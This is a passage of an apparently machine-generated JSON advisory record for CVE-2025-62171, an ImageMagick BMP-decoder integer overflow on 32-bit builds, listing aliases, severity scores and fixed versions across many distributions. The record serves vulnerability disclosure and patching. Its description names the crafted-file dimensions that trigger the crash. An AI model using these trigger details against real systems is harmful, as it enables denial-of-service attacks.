{"id":"CVE-2025-62171","aliases":["ALPINE-CVE-2025-62171","CLSA-2025-1764280893","CLSA-2025-1764324335","CLSA-2025-1764324579","CLSA-2025-1764773600","CLSA-2026-1776178825","DEBIAN-CVE-2025-62171","DLA-4339-1","EUVD-2025-34893","GHSA-9pp9-cfwx-54rm","JLSEC-2026-927","OESA-2025-2497","OESA-2025-2498","OESA-2025-2499","OESA-2025-2500","OESA-2025-2501","OESA-2025-2588","RHSA-2026:3058","ROOT-OS-DEBIAN-12-CVE-2025-62171","ROOT-OS-DEBIAN-13-CVE-2025-62171","SUSE-SU-2025:21211-1","SUSE-SU-2025:3796-1","SUSE-SU-2025:3844-1","SUSE-SU-2025:3867-1","SUSE-SU-2025:3918-1","UBUNTU-CVE-2025-62171","USN-7876-1","openSUSE-SU-2025:15650-1","openSUSE-SU-2025:20162-1"],"status":"published","title":"ImageMagick vulnerable to denial of service via integer overflow in BMP decoder on 32-bit systems","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00809,"percentile":0.57363,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-190"],"published":"2025-10-17T16:30:27Z","modified":"2026-11-03T06:32:52Z","fixes":[{"ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","fixed_in":["14.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","fixed_in":["14.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","fixed_in":["14.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q16-x86","fixed_in":["14.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","fixed_in":["14.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q8-x86","fixed_in":["14.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.22","package":"imagemagick","fixed_in":["7.1.2.8-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"imagemagick","fixed_in":["7.1.2.8-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"imagemagick","fixed_in":["7.1.2.8-r0"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:7","package":"ImageMagick","fixed_in":["6.9.10.68-7.el7_9.tuxcare.els7"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-c++","fixed_in":["6.9.10.68-7.el7_9.tuxcare.els7"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-c++-devel","fixed_in":["6.9.10.68-7.el7_9.tuxcare.els7"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-devel","fixed_in":["6.9.10.68-7.el7_9.tuxcare.els7"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-doc","fixed_in":["6.9.10.68-7.el7_9.tuxcare.els7"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-perl","fixed_in":["6.9.10.68-7.el7_9.tuxcare.els7"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-6.q16","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-common","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-doc","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-perl","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-q16-perl","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6-headers","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-5v5","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-arch-config","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-headers","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2-extra","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6-headers","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-2","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"perlmagick","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els29"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-common","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-doc","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16hdri","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-common","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-doc","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-perl","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16-perl","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16hdri-perl","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6-headers","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-8","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-8","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-arch-config","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-headers","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6-extra","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6-extra","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6-headers","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"perlmagick","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-common","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-doc","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16hdri","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-common","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-doc","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-perl","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16-perl","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16hdri-perl","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6-headers","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-7","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-7","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-arch-config","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-headers","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3-extra","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3-extra","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6-headers","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"perlmagick","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"imagemagick","fixed_in":["8:6.9.11.60+dfsg-1.6+deb12u5"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"imagemagick","fixed_in":["8:7.1.1.43+dfsg1-1+deb13u3"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"imagemagick","fixed_in":["8:7.1.2.7+dfsg1-1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"imagemagick","fixed_in":["8:6.9.11.60+dfsg-1.3+deb11u7"],"sources":["osv"]},{"ecosystem":"Julia","package":"ImageMagick_jll","fixed_in":["7.1.2011+0"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"ImageMagick","fixed_in":["7.1.2.7-1.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"ImageMagick","fixed_in":["7.1.2.7-1.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS-SP4","package":"ImageMagick","fixed_in":["6.9.13.32-1.oe2003sp4"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP3","package":"ImageMagick","fixed_in":["7.1.2.7-1.oe2203sp3"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"ImageMagick","fixed_in":["7.1.2.7-1.oe2203sp4"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"ImageMagick","fixed_in":["7.1.0.9-150400.6.46.1","7.1.1.21-150600.3.26.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"ImageMagick","fixed_in":["7.1.0.9-150400.6.46.1","7.1.1.43-150700.3.19.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP6","package":"ImageMagick","fixed_in":["7.1.1.21-150600.3.26.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"ImageMagick","fixed_in":["7.1.1.21-150600.3.26.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"ImageMagick","fixed_in":["7.1.1.43-150700.3.19.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server LTSS Extended Security 12 SP5","package":"ImageMagick","fixed_in":["6.8.8.1-71.215.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"imagemagick","fixed_in":["8:6.7.7.10-6ubuntu3.13+esm16"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"imagemagick","fixed_in":["8:6.8.9.9-7ubuntu5.16+esm15"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"imagemagick","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+esm7"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"imagemagick","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+esm5"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"imagemagick","fixed_in":["8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm5"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"imagemagick","fixed_in":["8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"imagemagick","fixed_in":["8:7.1.2.8+dfsg1-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"ImageMagick","fixed_in":["7.1.2.7-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q8-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-0"},{"fixed":"7.1.2.8-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-0"},{"fixed":"7.1.2.8-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-0"},{"fixed":"7.1.2.8-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els7"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els7"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els7"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els7"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els7"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els7"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-5v5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04"